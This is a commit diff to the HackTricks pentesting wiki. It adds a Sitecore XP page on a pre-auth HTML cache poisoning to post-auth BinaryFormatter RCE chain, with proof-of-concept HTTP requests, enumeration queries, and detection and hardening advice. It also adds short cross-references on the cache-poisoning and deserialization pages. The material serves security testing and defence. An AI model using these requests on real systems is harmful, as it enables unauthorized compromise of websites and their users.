Merge pull request #1371 from HackTricks-wiki/update_Cache_Me_If_You_Can__Sitecore_Experience_Platform__20250829_183502

Cache Me If You Can Sitecore Experience Platform Cache Poiso...
This commit is contained in:
SirBroccoli 2025-09-08 04:29:36 +02:00 committed by GitHub
commit 711d06887c
5 changed files with 282 additions and 13 deletions

View File

@ -447,6 +447,7 @@
- [NextJS](network-services-pentesting/pentesting-web/nextjs.md)
- [Nginx](network-services-pentesting/pentesting-web/nginx.md)
- [NodeJS Express](network-services-pentesting/pentesting-web/nodejs-express.md)
- [Sitecore](network-services-pentesting/pentesting-web/sitecore/README.md)
- [PHP Tricks](network-services-pentesting/pentesting-web/php-tricks-esp/README.md)
- [PHP - Useful Functions & disable_functions/open_basedir bypass](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md)
- [disable_functions bypass - php-fpm/FastCGI](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md)
@ -929,4 +930,3 @@
- [Post Exploitation](todo/post-exploitation.md)
- [Investment Terms](todo/investment-terms.md)
- [Cookies Policy](todo/cookies-policy.md)

View File

@ -104,6 +104,7 @@ Some **tricks** for **finding vulnerabilities** in different well known **techno
- [**Werkzeug**](werkzeug.md)
- [**Wordpress**](wordpress.md)
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
- [**Sitecore**](sitecore/index.html)
_Take into account that the **same domain** can be using **different technologies** in different **ports**, **folders** and **subdomains**._\
If the web application is using any well known **tech/platform listed before** or **any other**, don't forget to **search on the Internet** new tricks (and let me know!).
@ -179,7 +180,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
Web servers may **behave unexpectedly** when weird data is sent to them. This may open **vulnerabilities** or **disclosure sensitive information**.
- Access **fake pages** like /whatever_fake.php (.aspx,.html,.etc)
- **Add "\[]", "]]", and "\[\["** in **cookie values** and **parameter** values to create errors
- **Add "\[]", "]]", and "\[["** in **cookie values** and **parameter** values to create errors
- Generate error by giving input as **`/~randomthing/%s`** at the **end** of **URL**
- Try **different HTTP Verbs** like PATCH, DEBUG or wrong like FAKE
@ -215,7 +216,7 @@ Information about SSL/TLS vulnerabilities:
Launch some kind of **spider** inside the web. The goal of the spider is to **find as much paths as possible** from the tested application. Therefore, web crawling and external sources should be used to find as much valid paths as possible.
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files and external sources (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files and external sources (Archive.org, CommonCrawl.org, VirusTotal.com).
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, with LinkFider for JS files and Archive.org as external source.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, also indicates "juicy files".
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. It also searches in Archive.org
@ -310,7 +311,7 @@ _Note that anytime a new directory is discovered during brute-forcing or spideri
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- **TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- On several occasions, you will need to **understand the regular expressions** used. This will be useful: [https://regex101.com/](https://regex101.com) or [https://pythonium.net/regex](https://pythonium.net/regex)
- You could also **monitor the files were forms were detected**, as a change in the parameter or the apearance f a new form may indicate a potential new vulnerable functionality.
@ -427,5 +428,3 @@ Entry_12:
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,222 @@
# Sitecore Experience Platform (XP) Preauth HTML Cache Poisoning to Postauth RCE
{{#include ../../../banners/hacktricks-training.md}}
This page summarises a practical attack chain against Sitecore XP 10.4.1 that pivots from a preauth XAML handler to HTML cache poisoning and, via an authenticated UI flow, to RCE through BinaryFormatter deserialization. The techniques generalise to similar Sitecore versions/components and provide concrete primitives to test, detect, and harden.
- Affected product tested: Sitecore XP 10.4.1 rev. 011628
- Fixed in: KB1003667, KB1003734 (June/July 2025)
See also:
{{#ref}}
../../../pentesting-web/cache-deception/README.md
{{#endref}}
{{#ref}}
../../../pentesting-web/deserialization/README.md
{{#endref}}
## Preauth primitive: XAML Ajax reflection → HtmlCache write
Entrypoint is the preauth XAML handler registered in web.config:
```xml
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
```
Accessible via:
```
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
```
The control tree includes AjaxScriptManager which, on event requests, reads attackercontrolled fields and reflectively invokes methods on targeted controls:
```csharp
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"]; // target control
string text = page.Request.Form["__PARAMETERS"]; // Method("arg1", "arg2")
...
Dispatch(clientId, text);
// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);
// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
```
Key observation: the XAML page includes an XmlControl instance (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl derives from Sitecore.Web.UI.WebControl (a Sitecore class), which passes the ReflectionUtil.Filter allowlist (Sitecore.*), unlocking methods on Sitecore WebControl.
Magic method for poisoning:
```csharp
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}
```
Because we can target xmlcontrol:GlobalHeader and call Sitecore.Web.UI.WebControl methods by name, we get a preauth arbitrary HtmlCache write primitive.
### PoC request (CVE-2025-53693)
```
POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
```
Notes:
- __SOURCE is the clientID of xmlcontrol:GlobalHeader within Sitecore.Shell.Xaml.WebControl (commonly stable like ctl00_ctl00_ctl05_ctl03 as its derived from static XAML).
- __PARAMETERS format is Method("arg1","arg2").
## What to poison: Cache key construction
Typical HtmlCache key construction used by Sitecore controls:
```csharp
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData) k += ResolveDataKeyPart();
if (this.VaryByDevice) k += "_#dev:" + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin) k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser) k += "_#user:" + Sitecore.Context.GetUserName();
if (this.VaryByParm) k += "_#parm:" + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:" + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}
```
Example targeted poisoning for a known sublayout:
```
__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
```
## Enumerating cacheable items and “vary by” dimensions
If the ItemService is (mis)exposed anonymously, you can enumerate cacheable components to derive exact keys.
Quick probe:
```
GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required
```
List cacheable items and flags:
```
GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
```
Look for fields like Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Device names can be enumerated via:
```
GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
```
### Sidechannel enumeration under restricted identities (CVE-2025-53694)
Even when ItemService impersonates a limited account (e.g., ServicesAPI) and returns an empty Results array, TotalCount may still reflect preACL Solr hits. You can bruteforce item groups/ids with wildcards and watch TotalCount converge to map internal content and devices:
```
GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item
```
## Postauth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)
Sink:
```csharp
// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));
```
Reachable via the convertToRuntimeHtml pipeline step ConvertWebControls, which looks for an element with id {iframeId}_inner and base64 decodes + deserializes it, then injects the resulting string into the HTML:
```csharp
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2 = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
```
Trigger (authenticated, Content Editor rights). The FixHtml dialog calls convertToRuntimeHtml. Endtoend without UI clicks:
```
// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx
// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc" value="poc"></iframe>
<test id="test_inner" value="BASE64_GADGET"></test>
</html>
// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}
// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
```
Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The strings contents are written into the HTML by ConvertWebControls after deserialization sideeffects execute.
{{#ref}}
../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
{{#endref}}
## Complete chain
1) Preauth attacker poisons HtmlCache with arbitrary HTML by reflectively invoking WebControl.AddToCache via XAML AjaxScriptManager.
2) Poisoned HTML serves JavaScript that nudges an authenticated Content Editor user through the FixHtml flow.
3) The FixHtml page triggers convertToRuntimeHtml → ConvertWebControls, which deserializes attackercontrolled base64 via BinaryFormatter → RCE under the Sitecore app pool identity.
## Detection
- Preauth XAML: requests to `/-/xaml/Sitecore.Shell.Xaml.WebControl` with `__ISEVENT=1`, suspicious `__SOURCE` and `__PARAMETERS=AddToCache(...)`.
- ItemService probing: spikes of `/sitecore/api/ssc` wildcard queries, large `TotalCount` with empty `Results`.
- Deserialization attempts: `EditHtml.aspx` followed by `FixHtml.aspx?hdl=...` and unusually large base64 in HTML fields.
## Hardening
- Apply Sitecore patches KB1003667 and KB1003734; gate/disable preauth XAML handlers or add strict validation; monitor and ratelimit `/-/xaml/`.
- Remove/replace BinaryFormatter; restrict access to convertToRuntimeHtml or enforce strong serverside validation of HTML editing flows.
- Lock down `/sitecore/api/ssc` to loopback or authenticated roles; avoid impersonation patterns that leak `TotalCount`based side channels.
- Enforce MFA/least privilege for Content Editor users; review CSP to reduce JS steering impact from cache poisoning.
## References
- [watchTowr Labs Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
- [Sitecore KB1003667 Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667)
- [Sitecore KB1003734 Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003734)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -214,6 +214,25 @@ Defenses:
- Ensure WAF applies content inspection consistently to `.js` requests and static paths.
- Set `HttpOnly` (and `Secure`, `SameSite`) on session cookies.
### Sitecore preauth HTML cache poisoning (unsafe XAML Ajax reflection)
A Sitecorespecific pattern enables unauthenticated writes to the HtmlCache by abusing preauth XAML handlers and AjaxScriptManager reflection. When the `Sitecore.Shell.Xaml.WebControl` handler is reached, an `xmlcontrol:GlobalHeader` (derived from `Sitecore.Web.UI.WebControl`) is available and the following reflective call is allowed:
```
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
```
This writes arbitrary HTML under an attackerchosen cache key, enabling precise poisoning once cache keys are known.
For full details (cache key construction, ItemService enumeration and a chained postauth deserialization RCE):
{{#ref}}
../../network-services-pentesting/pentesting-web/sitecore/README.md
{{#endref}}
## Vulnerable Examples
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
@ -271,7 +290,7 @@ Another very clear example can be found in this write-up: [https://hackerone.com
In the example, it is explained that if you load a non-existent page like _http://www.example.com/home.php/non-existent.css_ the content of _http://www.example.com/home.php_ (**with the user's sensitive information**) is going to be returned and the cache server is going to save the result.\
Then, the **attacker** can access _http://www.example.com/home.php/non-existent.css_ in their own browser and observe the **confidential information** of the users that accessed before.
Note that the **cache proxy** should be **configured** to **cache** files **based** on the **extension** of the file (_.css_) and not base on the content-type. In the example _http://www.example.com/home.php/non-existent.css_ will have a `text/html` content-type instead of a `text/css` mime type (which is the expected for a _.css_ file).
Note that the **cache proxy** should be **configured** to **cache** files **based** on the **extension** of the file (_.css_) and not base on the content-type. In the example _http://www.example.com/home.php/non-existent.css_ will have a `text/html` content-type instead of a `text/css` mime type.
Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
@ -289,8 +308,7 @@ Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request S
- [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
- [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace)
- [watchTowr Labs Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -143,7 +143,7 @@ namespace DeserializationTests
Using [ysoserial.net](https://github.com/pwntester/ysoserial.net) I crated the exploit:
```java
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
@ -236,12 +236,42 @@ The compiled `ysonet.exe` can then be found under `ysonet/bin/Release/`.
* Where possible migrate to **`System.Text.Json`** or **`DataContractJsonSerializer`** with whitelist-based converters.
* Block dangerous WPF assemblies (`PresentationFramework`, `System.Workflow.*`) from being loaded in web processes that should never need them.
## Realworld sink: Sitecore convertToRuntimeHtml → BinaryFormatter
A practical .NET sink reachable in authenticated Sitecore XP Content Editor flows:
- Sink API: `Sitecore.Convert.Base64ToObject(string)` wraps `new BinaryFormatter().Deserialize(...)`.
- Trigger path: pipeline `convertToRuntimeHtml``ConvertWebControls`, which searches for a sibling element with `id="{iframeId}_inner"` and reads a `value` attribute that is treated as base64encoded serialized data. The result is cast to string and inserted into the HTML.
Minimal endtoend (authenticated):
```
// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>
// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
```
- Gadget: any BinaryFormatter chain returning a string (sideeffects run during deserialization). See YSoNet/ysoserial.net to generate payloads.
For a full chain that starts preauth with HTML cache poisoning in Sitecore and leads to this sink:
{{#ref}}
../../network-services-pentesting/pentesting-web/sitecore/README.md
{{#endref}}
## References
- [YSoNet .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
- [ysoserial.net original PoC tool](https://github.com/pwntester/ysoserial.net)
- [Microsoft CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
- [watchTowr Labs Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
{{#include ../../banners/hacktricks-training.md}}